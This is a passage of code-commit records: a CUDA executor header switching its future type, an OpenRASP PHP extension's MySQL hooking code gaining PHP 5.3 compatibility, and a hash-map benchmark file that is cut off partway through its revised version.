{"text":"<commit_before>#pragma once\n\n#include <agency\/cuda\/grid_executor.hpp>\n#include <agency\/flattened_executor.hpp>\n#include <agency\/cuda\/detail\/allocator.hpp>\n#include <agency\/cuda\/detail\/pinned_allocator.hpp>\n#include <agency\/cuda\/detail\/array.hpp>\n#include \"uber_future.hpp\"\n\nnamespace agency\n{\nnamespace cuda\n{\nnamespace this_thread\n{\n\n\nclass parallel_executor\n{\n  public:\n    using execution_category = parallel_execution_tag;\n\n    template<class T>\n    using allocator = cuda::detail::allocator<T, cuda::detail::pinned_allocator<T>>;\n\n    template<class T>\n    using container = cuda::detail::array<T, size_t, allocator<T>>;\n\n    \/\/template<class T>\n    \/\/using future = uber_future<T>;\n    template<class T>\n    using future = deferred_future<T>;\n};\n\n\n} \/\/ end this_thread\n\n\nusing parallel_executor = agency::flattened_executor<grid_executor>;\n\n\n} \/\/ end cuda\n} \/\/ end agency\n\n<commit_msg>Use uber_future as cuda::parallel_executor's future template<commit_after>#pragma once\n\n#include <agency\/cuda\/grid_executor.hpp>\n#include <agency\/flattened_executor.hpp>\n#include <agency\/cuda\/detail\/allocator.hpp>\n#include <agency\/cuda\/detail\/pinned_allocator.hpp>\n#include <agency\/cuda\/detail\/array.hpp>\n#include \"uber_future.hpp\"\n\nnamespace agency\n{\nnamespace cuda\n{\nnamespace this_thread\n{\n\n\nclass parallel_executor\n{\n  public:\n    using execution_category = parallel_execution_tag;\n\n    template<class T>\n    using allocator = cuda::detail::allocator<T, cuda::detail::pinned_allocator<T>>;\n\n    template<class T>\n    using container = cuda::detail::array<T, size_t, allocator<T>>;\n\n    template<class T>\n    using future = uber_future<T>;\n};\n\n\n} \/\/ end this_thread\n\n\nusing parallel_executor = agency::flattened_executor<grid_executor>;\n\n\n} \/\/ end cuda\n} \/\/ end agency\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2017-2019 Baidu Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"openrasp_sql.h\"\n#include \"openrasp_hook.h\"\n#include <string>\n\nextern \"C\"\n{\n#include \"zend_ini.h\"\n}\n\nPOST_HOOK_FUNCTION(mysql_connect, DB_CONNECTION);\nPOST_HOOK_FUNCTION(mysql_connect, SQL_ERROR);\nPOST_HOOK_FUNCTION(mysql_pconnect, DB_CONNECTION);\nPOST_HOOK_FUNCTION(mysql_pconnect, SQL_ERROR);\nPRE_HOOK_FUNCTION(mysql_query, SQL);\nPOST_HOOK_FUNCTION(mysql_query, SQL_ERROR);\n\nstatic long fetch_mysql_errno(uint32_t param_count, zval *params[] TSRMLS_DC);\nstatic std::string fetch_mysql_error(uint32_t param_count, zval *params[] TSRMLS_DC);\n\nstatic bool init_mysql_connection_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p, int persistent)\n{\n    char *user = NULL, *passwd = NULL, *host_and_port = NULL, *socket = NULL, *host = NULL, *tmp = NULL;\n    int user_len = 0, passwd_len = 0, host_len = 0, port = MYSQL_PORT;\n    long client_flags = 0;\n    zend_bool new_link = 0;\n    static char *default_host = INI_STR(\"mysql.default_host\");\n    static char *default_user = INI_STR(\"mysql.default_user\");\n    static char *default_password = INI_STR(\"mysql.default_password\");\n    static char *default_socket = INI_STR(\"mysql.default_socket\");\n    static long default_port = INI_INT(\"mysql.default_port\");\n\n    if (default_port <= 0)\n    {\n        default_port = MYSQL_PORT;\n    }\n    if (PG(sql_safe_mode))\n    {\n        if (ZEND_NUM_ARGS() > 0)\n        {\n            return false;\n        }\n        host_and_port = passwd = NULL;\n        user = php_get_current_user(TSRMLS_C);\n    }\n    else\n    {\n        if (persistent)\n        {\n            if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"|s!s!s!l\", &host_and_port, &host_len,\n                                      &user, &user_len, &passwd, &passwd_len,\n                                      &client_flags) == FAILURE)\n            {\n                return false;\n            }\n        }\n        else\n        {\n            if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"|s!s!s!bl\", &host_and_port, &host_len,\n                                      &user, &user_len, &passwd, &passwd_len,\n                                      &new_link, &client_flags) == FAILURE)\n            {\n                return false;\n            }\n        }\n        if (!host_and_port)\n        {\n            host_and_port = default_host;\n        }\n        if (!user)\n        {\n            user = default_user;\n        }\n        if (!passwd)\n        {\n            passwd = default_password;\n        }\n    }\n    sql_connection_p->set_server(\"mysql\");\n    socket = default_socket;\n    bool using_socket = false;\n\n    if (host_and_port && (tmp = strchr(host_and_port, ':')))\n    {\n        host = estrndup(host_and_port, tmp - host_and_port);\n        tmp++;\n        if (tmp[0] != '\/')\n        {\n            port = atoi(tmp);\n            sql_connection_p->set_port(port);\n            if ((tmp = strchr(tmp, ':')))\n            {\n                tmp++;\n                socket = tmp;\n                using_socket = true;\n            }\n        }\n        else\n        {\n            socket = tmp;\n            using_socket = true;\n        }\n        sql_connection_p->set_host(host);\n        using_socket = (strcmp(\"localhost\", host) == 0);\n    }\n    else\n    {\n        sql_connection_p->set_host(SAFE_STRING(host_and_port));\n        using_socket = (host_and_port == nullptr || strncmp(host_and_port, \"localhost\", strlen(\"localhost\")) == 0);\n        sql_connection_p->set_port(default_port);\n    }\n    sql_connection_p->set_using_socket(using_socket);\n    sql_connection_p->set_socket(SAFE_STRING(socket));\n    sql_connection_p->set_username(SAFE_STRING(user));\n    sql_connection_p->set_password(SAFE_STRING(passwd));\n    return true;\n}\n\nstatic inline bool init_mysql_connect_conn_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p)\n{\n    return init_mysql_connection_entry(INTERNAL_FUNCTION_PARAM_PASSTHRU, sql_connection_p, 0);\n}\n\nstatic inline bool init_mysql_pconnect_conn_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p)\n{\n    return init_mysql_connection_entry(INTERNAL_FUNCTION_PARAM_PASSTHRU, sql_connection_p, 1);\n}\n\nstatic void mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAMETERS, init_connection_t connection_init_func)\n{\n    long error_code = fetch_mysql_errno(0, nullptr TSRMLS_CC);\n    if (!mysql_error_code_filtered(error_code))\n    {\n        return;\n    }\n    std::string error_msg = fetch_mysql_error(0, nullptr TSRMLS_CC);\n    sql_connection_entry conn_entry;\n    connection_init_func(INTERNAL_FUNCTION_PARAM_PASSTHRU, &conn_entry);\n    sql_connect_error_alarm(&conn_entry, std::to_string(error_code), error_msg TSRMLS_CC);\n}\n\n\/\/mysql_connect\nvoid post_global_mysql_connect_DB_CONNECTION(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_RESOURCE &&\n        check_database_connection_username(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_connect_conn_entry,\n                                           OPENRASP_CONFIG(security.enforce_policy) ? 1 : 0))\n    {\n        handle_block(TSRMLS_C);\n    }\n}\n\nvoid post_global_mysql_connect_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_connect_conn_entry);\n    }\n}\n\n\/\/mysql_pconnect\nvoid post_global_mysql_pconnect_DB_CONNECTION(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_RESOURCE &&\n        check_database_connection_username(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_pconnect_conn_entry,\n                                           OPENRASP_CONFIG(security.enforce_policy) ? 1 : 0))\n    {\n        handle_block(TSRMLS_C);\n    }\n}\n\nvoid post_global_mysql_pconnect_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_pconnect_conn_entry);\n    }\n}\n\n\/\/mysql_query\nvoid pre_global_mysql_query_SQL(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    char *query;\n    int query_len;\n    zval *mysql_link = NULL;\n\n    if (UNLIKELY(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s|r\", &query, &query_len, &mysql_link) == FAILURE))\n    {\n        return;\n    }\n\n    plugin_sql_check(query, query_len, \"mysql\" TSRMLS_CC);\n}\n\nvoid post_global_mysql_query_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        char *query;\n        int query_len;\n        zval *mysql_link = nullptr;\n        if (UNLIKELY(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s|r\", &query, &query_len, &mysql_link) == FAILURE))\n        {\n            return;\n        }\n        zval *args[1];\n        int param_num = 0;\n        if (nullptr != mysql_link)\n        {\n            args[0] = mysql_link;\n            param_num = 1;\n        }\n        long error_code = fetch_mysql_errno(param_num, args TSRMLS_CC);\n        if (!mysql_error_code_filtered(error_code))\n        {\n            return;\n        }\n        std::string error_msg = fetch_mysql_error(param_num, args TSRMLS_CC);\n        sql_query_error_alarm(\"mysql\", query, std::to_string(error_code), error_msg TSRMLS_CC);\n    }\n}\n\nstatic long fetch_mysql_errno(uint32_t param_count, zval *params[] TSRMLS_DC)\n{\n    long error_code = 0;\n    zval function_name, retval;\n    INIT_ZVAL(function_name);\n    ZVAL_STRING(&function_name, \"mysql_errno\", 0);\n    if (call_user_function(EG(function_table), nullptr, &function_name, &retval, param_count, params TSRMLS_CC) == SUCCESS &&\n        Z_TYPE(retval) == IS_LONG)\n    {\n        error_code = Z_LVAL(retval);\n    }\n    return error_code;\n}\n\nstatic std::string fetch_mysql_error(uint32_t param_count, zval *params[] TSRMLS_DC)\n{\n    std::string error_msg;\n    zval function_name, retval;\n    INIT_ZVAL(function_name);\n    ZVAL_STRING(&function_name, \"mysql_error\", 0);\n    if (call_user_function(EG(function_table), nullptr, &function_name, &retval, param_count, params TSRMLS_CC) == SUCCESS)\n    {\n        if (Z_TYPE(retval) == IS_STRING)\n        {\n            error_msg = std::string(Z_STRVAL(retval));\n        }\n        zval_dtor(&retval);\n    }\n    return error_msg;\n}\n<commit_msg>fix(php5): php5.3 compability<commit_after>\/*\n * Copyright 2017-2019 Baidu Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"openrasp_sql.h\"\n#include \"openrasp_hook.h\"\n#include <string>\n\nextern \"C\"\n{\n#include \"zend_ini.h\"\n}\n\nPOST_HOOK_FUNCTION(mysql_connect, DB_CONNECTION);\nPOST_HOOK_FUNCTION(mysql_connect, SQL_ERROR);\nPOST_HOOK_FUNCTION(mysql_pconnect, DB_CONNECTION);\nPOST_HOOK_FUNCTION(mysql_pconnect, SQL_ERROR);\nPRE_HOOK_FUNCTION(mysql_query, SQL);\nPOST_HOOK_FUNCTION(mysql_query, SQL_ERROR);\n\nstatic long fetch_mysql_errno(uint32_t param_count, zval *params[] TSRMLS_DC);\nstatic std::string fetch_mysql_error(uint32_t param_count, zval *params[] TSRMLS_DC);\n\nstatic bool init_mysql_connection_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p, int persistent)\n{\n    char *user = NULL, *passwd = NULL, *host_and_port = NULL, *socket = NULL, *host = NULL, *tmp = NULL;\n    int user_len = 0, passwd_len = 0, host_len = 0, port = MYSQL_PORT;\n    long client_flags = 0;\n    zend_bool new_link = 0;\n    static char *default_host = INI_STR(\"mysql.default_host\");\n    static char *default_user = INI_STR(\"mysql.default_user\");\n    static char *default_password = INI_STR(\"mysql.default_password\");\n    static char *default_socket = INI_STR(\"mysql.default_socket\");\n    static long default_port = INI_INT(\"mysql.default_port\");\n\n    if (default_port <= 0)\n    {\n        default_port = MYSQL_PORT;\n    }\n    if (PG(sql_safe_mode))\n    {\n        if (ZEND_NUM_ARGS() > 0)\n        {\n            return false;\n        }\n        host_and_port = passwd = NULL;\n#if (PHP_MINOR_VERSION == 3)\n        user = php_get_current_user();\n#else\n        user = php_get_current_user(TSRMLS_C);\n#endif\n    }\n    else\n    {\n        if (persistent)\n        {\n            if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"|s!s!s!l\", &host_and_port, &host_len,\n                                      &user, &user_len, &passwd, &passwd_len,\n                                      &client_flags) == FAILURE)\n            {\n                return false;\n            }\n        }\n        else\n        {\n            if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"|s!s!s!bl\", &host_and_port, &host_len,\n                                      &user, &user_len, &passwd, &passwd_len,\n                                      &new_link, &client_flags) == FAILURE)\n            {\n                return false;\n            }\n        }\n        if (!host_and_port)\n        {\n            host_and_port = default_host;\n        }\n        if (!user)\n        {\n            user = default_user;\n        }\n        if (!passwd)\n        {\n            passwd = default_password;\n        }\n    }\n    sql_connection_p->set_server(\"mysql\");\n    socket = default_socket;\n    bool using_socket = false;\n\n    if (host_and_port && (tmp = strchr(host_and_port, ':')))\n    {\n        host = estrndup(host_and_port, tmp - host_and_port);\n        tmp++;\n        if (tmp[0] != '\/')\n        {\n            port = atoi(tmp);\n            sql_connection_p->set_port(port);\n            if ((tmp = strchr(tmp, ':')))\n            {\n                tmp++;\n                socket = tmp;\n                using_socket = true;\n            }\n        }\n        else\n        {\n            socket = tmp;\n            using_socket = true;\n        }\n        sql_connection_p->set_host(host);\n        using_socket = (strcmp(\"localhost\", host) == 0);\n    }\n    else\n    {\n        sql_connection_p->set_host(SAFE_STRING(host_and_port));\n        using_socket = (host_and_port == nullptr || strncmp(host_and_port, \"localhost\", strlen(\"localhost\")) == 0);\n        sql_connection_p->set_port(default_port);\n    }\n    sql_connection_p->set_using_socket(using_socket);\n    sql_connection_p->set_socket(SAFE_STRING(socket));\n    sql_connection_p->set_username(SAFE_STRING(user));\n    sql_connection_p->set_password(SAFE_STRING(passwd));\n    return true;\n}\n\nstatic inline bool init_mysql_connect_conn_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p)\n{\n    return init_mysql_connection_entry(INTERNAL_FUNCTION_PARAM_PASSTHRU, sql_connection_p, 0);\n}\n\nstatic inline bool init_mysql_pconnect_conn_entry(INTERNAL_FUNCTION_PARAMETERS, sql_connection_entry *sql_connection_p)\n{\n    return init_mysql_connection_entry(INTERNAL_FUNCTION_PARAM_PASSTHRU, sql_connection_p, 1);\n}\n\nstatic void mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAMETERS, init_connection_t connection_init_func)\n{\n    long error_code = fetch_mysql_errno(0, nullptr TSRMLS_CC);\n    if (!mysql_error_code_filtered(error_code))\n    {\n        return;\n    }\n    std::string error_msg = fetch_mysql_error(0, nullptr TSRMLS_CC);\n    sql_connection_entry conn_entry;\n    connection_init_func(INTERNAL_FUNCTION_PARAM_PASSTHRU, &conn_entry);\n    sql_connect_error_alarm(&conn_entry, std::to_string(error_code), error_msg TSRMLS_CC);\n}\n\n\/\/mysql_connect\nvoid post_global_mysql_connect_DB_CONNECTION(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_RESOURCE &&\n        check_database_connection_username(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_connect_conn_entry,\n                                           OPENRASP_CONFIG(security.enforce_policy) ? 1 : 0))\n    {\n        handle_block(TSRMLS_C);\n    }\n}\n\nvoid post_global_mysql_connect_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_connect_conn_entry);\n    }\n}\n\n\/\/mysql_pconnect\nvoid post_global_mysql_pconnect_DB_CONNECTION(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_RESOURCE &&\n        check_database_connection_username(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_pconnect_conn_entry,\n                                           OPENRASP_CONFIG(security.enforce_policy) ? 1 : 0))\n    {\n        handle_block(TSRMLS_C);\n    }\n}\n\nvoid post_global_mysql_pconnect_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        mysql_connect_error_intercept(INTERNAL_FUNCTION_PARAM_PASSTHRU, init_mysql_pconnect_conn_entry);\n    }\n}\n\n\/\/mysql_query\nvoid pre_global_mysql_query_SQL(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    char *query;\n    int query_len;\n    zval *mysql_link = NULL;\n\n    if (UNLIKELY(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s|r\", &query, &query_len, &mysql_link) == FAILURE))\n    {\n        return;\n    }\n\n    plugin_sql_check(query, query_len, \"mysql\" TSRMLS_CC);\n}\n\nvoid post_global_mysql_query_SQL_ERROR(OPENRASP_INTERNAL_FUNCTION_PARAMETERS)\n{\n    if (Z_TYPE_P(return_value) == IS_BOOL && !Z_BVAL_P(return_value))\n    {\n        char *query;\n        int query_len;\n        zval *mysql_link = nullptr;\n        if (UNLIKELY(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s|r\", &query, &query_len, &mysql_link) == FAILURE))\n        {\n            return;\n        }\n        zval *args[1];\n        int param_num = 0;\n        if (nullptr != mysql_link)\n        {\n            args[0] = mysql_link;\n            param_num = 1;\n        }\n        long error_code = fetch_mysql_errno(param_num, args TSRMLS_CC);\n        if (!mysql_error_code_filtered(error_code))\n        {\n            return;\n        }\n        std::string error_msg = fetch_mysql_error(param_num, args TSRMLS_CC);\n        sql_query_error_alarm(\"mysql\", query, std::to_string(error_code), error_msg TSRMLS_CC);\n    }\n}\n\nstatic long fetch_mysql_errno(uint32_t param_count, zval *params[] TSRMLS_DC)\n{\n    long error_code = 0;\n    zval function_name, retval;\n    INIT_ZVAL(function_name);\n    ZVAL_STRING(&function_name, \"mysql_errno\", 0);\n    if (call_user_function(EG(function_table), nullptr, &function_name, &retval, param_count, params TSRMLS_CC) == SUCCESS &&\n        Z_TYPE(retval) == IS_LONG)\n    {\n        error_code = Z_LVAL(retval);\n    }\n    return error_code;\n}\n\nstatic std::string fetch_mysql_error(uint32_t param_count, zval *params[] TSRMLS_DC)\n{\n    std::string error_msg;\n    zval function_name, retval;\n    INIT_ZVAL(function_name);\n    ZVAL_STRING(&function_name, \"mysql_error\", 0);\n    if (call_user_function(EG(function_table), nullptr, &function_name, &retval, param_count, params TSRMLS_CC) == SUCCESS)\n    {\n        if (Z_TYPE(retval) == IS_STRING)\n        {\n            error_msg = std::string(Z_STRVAL(retval));\n        }\n        zval_dtor(&retval);\n    }\n    return error_msg;\n}\n<|endoftext|>"}
{"text":"<commit_before>#define NONIUS_RUNNER\n#include <nonius\/main.h++>\n\n#include \"..\/include\/dict\/dict.hpp\"\n\n#include <unordered_map>\n#include <random>\n#include <functional>\n\n#ifdef WITH_GOOGLE_BENCH\n#include <sparsehash\/dense_hash_map>\n#endif\n\ntemplate <typename Map>\nvoid insert_test(Map& map) {\n    for (int i = 0; i != 10000; ++i) {\n        map[i] = i;\n    }\n}\n\nNONIUS_BENCHMARK(\"dict insert\", [](nonius::chronometer meter) {\n    io::dict<int, int> d;\n    d.reserve(1000);\n    meter.measure([&] { insert_test(d); });\n})\n\nNONIUS_BENCHMARK(\"umap insert\", [](nonius::chronometer meter) {\n    std::unordered_map<int, int> d;\n    d.reserve(1000);\n    meter.measure([&] { insert_test(d); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google insert\", [](nonius::chronometer meter) {\n    google::dense_hash_map<int, int> d(1000);\n    d.set_empty_key(0);\n    meter.measure([&] { insert_test(d); });\n})\n#endif\n\n#ifdef WITH_GOOGLE_BENCH\ntemplate <typename Map>\nMap build_map_google(int size) {\n    Map d;\n    d.set_empty_key(0);\n\n    for (int i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map>\nMap build_map_google_with_reserve(int size) {\n    Map d(size);\n    d.set_empty_key(0);\n\n    for (int i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n#endif\n\ntemplate <typename Map>\nMap build_map(int size) {\n    Map d;\n\n    for (int i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map>\nMap build_map_with_reserve(int size) {\n    Map d(size);\n\n    for (int i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map, typename Generator>\nint lookup_test(Map& map, Generator& gen) {\n    int res = 0;\n    for (std::size_t i = 0; i < 100; i += 1) {\n        res += map[gen()];\n    }\n\n    return res;\n}\n\nconst int small_lookup_test_size = 10;\n\nNONIUS_BENCHMARK(\"small dict lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<io::dict<int, int>>(small_lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"small umap lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<std::unordered_map<int, int>>(small_lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"small google lookup\", [](nonius::chronometer meter) {\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(small_lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\nconst int lookup_test_size = 1000000;\n\nNONIUS_BENCHMARK(\"dict lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<io::dict<int, int>>(lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"umap lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<std::unordered_map<int, int>>(lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google lookup\", [](nonius::chronometer meter) {\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(lookup_test_size);\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\nconst int build_test_size = 1000;\n\nNONIUS_BENCHMARK(\"dict build\", [] {\n    return build_map<io::dict<int, int>>(build_test_size);\n})\n\nNONIUS_BENCHMARK(\"umap build\", [] {\n    return build_map<std::unordered_map<int, int>>(build_test_size);\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build\", [] {\n    return build_map_google<google::dense_hash_map<int, int>>(build_test_size);\n})\n#endif\n\nNONIUS_BENCHMARK(\"dict build with reserve\", [] {\n    return build_map_with_reserve<io::dict<int, int>>(build_test_size);\n})\n\nNONIUS_BENCHMARK(\"umap build with reserve\", [] {\n    return build_map_with_reserve<std::unordered_map<int, int>>(\n        build_test_size);\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build with reserve\", [] {\n    return build_map_google<google::dense_hash_map<int, int>>(build_test_size);\n})\n#endif\n\ntemplate <typename Map>\nMap build_string_map(int size) {\n    Map d;\n\n    for (int i = 0; i != size; ++i) {\n        d[std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i)] = i;\n    }\n\n    return d;\n}\n\n#ifdef WITH_GOOGLE_BENCH\ntemplate <typename Map>\nMap build_string_map_google(int size) {\n    Map d;\n    d.set_empty_key(\"\");\n\n    for (int i = 0; i != size; ++i) {\n        d[std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i)] = i;\n    }\n\n    return d;\n}\n#endif\n\nNONIUS_BENCHMARK(\"dict build with string key\", [] {\n    return build_string_map<io::dict<std::string, int>>(build_test_size);\n})\n\nNONIUS_BENCHMARK(\"umap build with string key\", [] {\n    return build_string_map<std::unordered_map<std::string, int>>(\n        build_test_size);\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build with string key\", [] {\n    return build_string_map_google<google::dense_hash_map<std::string, int>>(\n        build_test_size);\n})\n#endif\n\ntemplate <typename Map, typename LookUpKeys>\nint string_lookup_test(Map& map, const LookUpKeys& keys) {\n    int res = 0;\n    for (auto&& k : keys) {\n        res += map[k];\n    }\n\n    return res;\n}\n\nconst int string_lookup_test_size = 1000;\n\nNONIUS_BENCHMARK(\"dict string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map<io::dict<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n\nNONIUS_BENCHMARK(\"umap string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map<std::unordered_map<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map_google<google::dense_hash_map<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n#endif\n<commit_msg>added more performance tests<commit_after>#define NONIUS_RUNNER\n#include <nonius\/main.h++>\n\n#include \"..\/include\/dict\/dict.hpp\"\n\n#include <unordered_map>\n#include <random>\n#include <functional>\n\n#ifdef WITH_GOOGLE_BENCH\n#include <sparsehash\/dense_hash_map>\n#endif\n\n\nstruct inc_gen {\n    int operator()() {\n        return _counter++;\n    }\n\n    int _counter = 0;\n};\n\ntemplate <typename Map>\nvoid insert_test(Map& map) {\n    for (int i = 0; i != 10000; ++i) {\n        map[i] = i;\n    }\n}\n\nNONIUS_BENCHMARK(\"dict insert\", [](nonius::chronometer meter) {\n    io::dict<int, int> d;\n    d.reserve(1000);\n    meter.measure([&] { insert_test(d); });\n})\n\nNONIUS_BENCHMARK(\"umap insert\", [](nonius::chronometer meter) {\n    std::unordered_map<int, int> d;\n    d.reserve(1000);\n    meter.measure([&] { insert_test(d); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google insert\", [](nonius::chronometer meter) {\n    google::dense_hash_map<int, int> d(1000);\n    d.set_empty_key(0);\n    meter.measure([&] { insert_test(d); });\n})\n#endif\n\n#ifdef WITH_GOOGLE_BENCH\ntemplate <typename Map, typename Gen>\nMap build_map_google(int size, Gen gen) {\n    Map d;\n    d.set_empty_key(0);\n\n    for (int i = 0; i != size; ++i) {\n        d[gen()] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map>\nMap build_map_google_with_reserve(int size) {\n    Map d(size);\n    d.set_empty_key(0);\n\n    for (int i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n#endif\n\ntemplate <typename Map, typename Gen>\nMap build_map(int size, Gen gen) {\n    Map d;\n\n    for (int i = 0; i != size; ++i) {\n        d[gen()] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map>\nMap build_map_with_reserve(int size) {\n    Map d(size);\n\n    for (int 